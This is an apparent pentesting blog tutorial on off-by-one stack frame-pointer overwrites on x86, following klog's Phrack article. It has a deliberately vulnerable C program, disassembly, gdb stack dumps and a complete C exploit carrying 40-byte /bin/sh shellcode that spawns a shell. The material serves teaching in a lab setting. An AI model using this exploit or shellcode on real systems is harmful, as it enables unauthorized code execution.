

Discover more from Learn Pentesting like a Pro!
Exploiting the stack: Off-by-one technique explained
Old school hacking! Learn how to take advantage from an extreme buffer overflow step-by-step
An article written by klog for Phrack called The Frame Pointer Overwrite explains off by one vulnerabilities in the stack zone, this article was written in 1999, nowadays some things have changed, i.e behaviour of GCC compiler is different, now by default GCC left 2 words boundary in the stack between the local variables and the ebp and eip pushed, that means that no off by one vulnerabilities can be exploited.
Note:
To understand better this document you should read klog's article, and have a good knowledges in stack overflows and IA-32 assembler.
When we talk about stack overflows we know that we can overwrite the pushed EIP directly because no bounds check are performed, in off by one overflows philosophy changes, we can only overwrite 1 byte, what byte? take a look:
In func function used by klog:
func(char *sm) {
char buffer[256];
int i;
for(i=0; i<=256; i++)
buffer[i]= sm[i];
}
In this example, buffer has 256 bytes long, but arrays begins at position 0, then 256-byte of buffer will be the last byte of the EBP pointer pushed.
In x86 architecture (little endian) stack would have this aspect:
| | top of stack (current ESP)
| int i |
| 0th,1s,2nd.......255th byte of buffer |
| 4th,3rd,2nd,1st byte of pushed EBP |
| 4th,3rd,2nd,1st byte of pushed EIP | bottom of stack (current EBP)
|--------------------------------------------|
I used a little modified version of the klog's program:
$ cat prog.c
#include <stdio.h>
#include <string.h>
#define LEN 256
void func(char *a) {
char buffer[LEN];
int i;
int tam;
tam= strlen(a);
for (i=0; i<=LEN && i<= tam; i++)
buffer[i]= a[i];
__asm__("nop"); //for debugging purposes
}
int main(int argc, char *argv[]) {
if ( argc < 2 ) {
printf("missing args\n");
exit(-1);
}
func(argv[1]);
__asm__("nop");
}
WARNING: If you compile the above program using GCC version >= 2.96-110 it will left, by default, a 2-word boundary between the last byte of buffer and pushed EBP (-mpreferred-stack-boundary=4). If you wanna try this kind of vulnerabilities you must to install an older GCC version, I installed:
$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
Now we're ready to compile the program:
$ gcc -ggdb prog.c -o prog
Now we've to understand what the program does and overwrite cleverly the last byte.
$ objdump -d prog
prog: file format elf32-i386
Disassembly of section .init:
[...]
08048440 <func>:
8048440: 55 push %ebp
8048441: 89 e5 mov %esp,%ebp
8048443: 81 ec 08 01 00 00 sub $0x108,%esp
[...]
80484a8: 90 nop
80484a9: 8b 9d f4 fe ff ff mov 0xfffffef4(%ebp),%ebx
80484af: c9 leave
80484b0: c3 ret
80484b1: 8d 76 00 lea 0x0(%esi),%esi
080484b4 <main>:
80484b4: 55 push %ebp
80484b5: 89 e5 mov %esp,%ebp
[...]
80484dc: 52 push %edx
80484dd: e8 5e ff ff ff call 8048440 <func>
80484e2: 83 c4 04 add $0x4,%esp
80484e5: 90 nop
80484e6: c9 leave
80484e7: c3 ret
[...]
Note:
Leave instruction it's the same that:
movl %ebp, %esp
popl %ebp
Let's explain what happens when we execute:
./prog `perl -e "print 'A' x 257"`
At 0x080484dc argument of func() is pushed, then func() is called and current EIP is pushed, the program flow goes to 0x08048440, EBP is pushed, EBP points to ESP, and space for local variables is allocated, function goes on, for loop ends overwritting the last byte of pushed EBP, then at 0x080484af ESP points to EBP, overwritted EBP is popped from the stack and moved to EBP CPU register, the next instrucction at 0x080484b0, top of the stack (pushed EIP) is moved to EIP CPU register, the program's flow goes to 0x080484e2, space allocated for the argument of func is removed from stack, nop, and.. important part:
Remember that overwritted EBP remains in EBP CPU register, now in leave instruction at 0x080484e6 ESP register points to the same stack address that EBP register, that means that if we overwrite cleverly the last byte of EBP when program returns to main() we can control where ESP register points and which will be the next EIP popped from stack.
At this moment EBP and ESP registers points to any region into the stack that we want (not really, we only can overwrite 1-byte of EBP register, then we only can access to 256-byte or 64-word into the stack region, but this is enough to exploit the program). Second part of leave instruction: the word somewhere ESP points is moved to EBP CPU register, and ESP pointer points to the next word into the stack (when popl ends adds 4 to esp), at 0x080484e7 ret instruction is executed, that's it, the address where ESP register points is moved to EIP register.
Advices:
Compile once and no compile again, then same addresses will be used.
Addresses of instructions (.text section) always will be the same (if you not compile again), and addresses of local variables too, except length argument changes, because the argv[1] will allocate more space into the stack and the address of buffer will be shifted. You should use an argument of the same length all the time to calculate the exact address where the program will jump to execute the shell, or use NOP method.
Program exploitation
At 0x080484e7 we'll want that ESP points to an address where a shellcode is placed then we could execute whatever we want, i.e a shell.
First of all, we'll use a fake exploit, to try the explotation and get the local variables addresses:
#include <stdio.h>
#include <string.h>
#define LEN 256
int main(void) {
unsigned int i;
unsigned char aux[1024];
memset(aux, 0, 1024);
for (i=0; i <= LEN; i++) aux[i]= 'A';
execl("./prog", "prog", aux, 0);
perror("Upps");
return 1;
}
And we execute it:
$ gcc exp1.c -o exp1
$ ./exp1
Segmentation fault (core dumped)
$ gdb prog core.7235
Core was generated by `prog AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) q
Seems that works!
Now, using the GNU debugger gdb go to put some breakpoints in func() to look into the stack, and can imagine what aspect will have the future shellcode.
$ gdb --exec=exp1 --symbols=prog
(gdb) r
Starting program: /home/user/current/exp1
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b50 in _start () from /lib/ld-linux.so.2
(gdb) disas func
...
0x80484a0 <func+96>: incl 0xfffffefc(%ebp)
0x80484a6 <func+102>: jmp 0x8048466 <func+38>
0x80484a8 <func+104>: nop
0x80484a9 <func+105>: mov 0xfffffef4(%ebp),%ebx
0x80484af <func+111>: leave
0x80484b0 <func+112>: ret
End of assembler dump.
(gdb) b *0x80484a8
Breakpoint 1 at 0x80484a8: file prog.c, line 27.
(gdb) c
Continuing.
Breakpoint 1, func (a=0xbffffbc8 'A' <repeats 200 times>...) at prog.c:27
27 __asm__("nop");
(gdb) x/68 $esp
0xbffff950: 0x4213030c 0x00000101 0x00000101 0x41414141
0xbffff960: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff970: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff980: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff990: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa50: 0x41414141 0x41414141 0x41414141 0xbffffa41
Now we know that buffer begins at 0xbffff95c and the pushed EBP is at 0xbffffa5c, we can overwrite the pushed EBP to 0xbffffaXX where XX must be the previous word to the address where shellcode will be placed. (Why the next word? Remember that popl adds 4 to the ESP register).
For example, we can use this buffer to pass as argument to the vulnerable program:
84 A's, shellcode, 128 B's, the address of shellcode, 54.
----- -------- ------ ----------------------- --
84 b + 40 b + 128 b + 4 b + 1b = 257 bytes
We know that buffer begins at 0xbffff95c and we'll put 84 bytes before the shellcode, then 0xbffff95c + 84 = 0xbffff9b0, that's the address of shellcode.
As we can see 54 is the last byte of our buffer, this byte overwrite the last byte of pushed EBP, when EBP will be popped its value will be 0xbffffa54.
Remember that pushed EBP must point 2 words before 0xbffffa5c = 0xbffffa54.
0xbffffa50: 0x42424242 0x42424242 0xbffff9b0 0xbffffa54
After, at main() function, EBP is moved to ESP register, then EBP and ESP will be equal to 0xbffffa54, then popl adds 4 to ESP, ESP points to 0xbffffa58 in this address is placed the address of shellcode (0xbffff9b0), then ret instruction is executed and 0xbffff9b0 is moved to EIP CPU register and.... shellcode is executed.
Here is my exploit:
#include <stdio.h>
#include <string.h>
char shellcode[] = /* 40-byte shellcode: sh spawner */
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main() {
unsigned int i,j,h, sclen;
unsigned char aux[1024];
memset(aux, 0, 1024);
sclen= strlen(shellcode);
for (i=0; i < 84; i++) aux[i]= 'A';
for (j=0; j < sclen; j++,i++) aux[i]= shellcode[j];
for (h=i, i=0; i < 128; i++,h++) {
aux[h]= 'B';
}
j=h;
aux[j++]= 0xb0;
aux[j++]= 0xf9;
aux[j++]= 0xff;
aux[j++]= 0xbf;
aux[j++]= 0x54;
execl("./prog", "prog", aux, 0);
}
Let's go:
$ gcc exp2.c -o exp2
$ gdb exp2
(gdb) r
Starting program: /home/user/current/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b50 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b50 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
sh-2.05a$
Wooow!! It works!
Now, try it in the shell:
$ ./exp2
Segmentation fault (core dumped)
Upps, something is wrong! We must to change the last byte of buffer (0x54) to 0x50 to success (a word less), and try again:
$ gcc exp2.c -o exp2
$ ./exp2
sh-2.05a$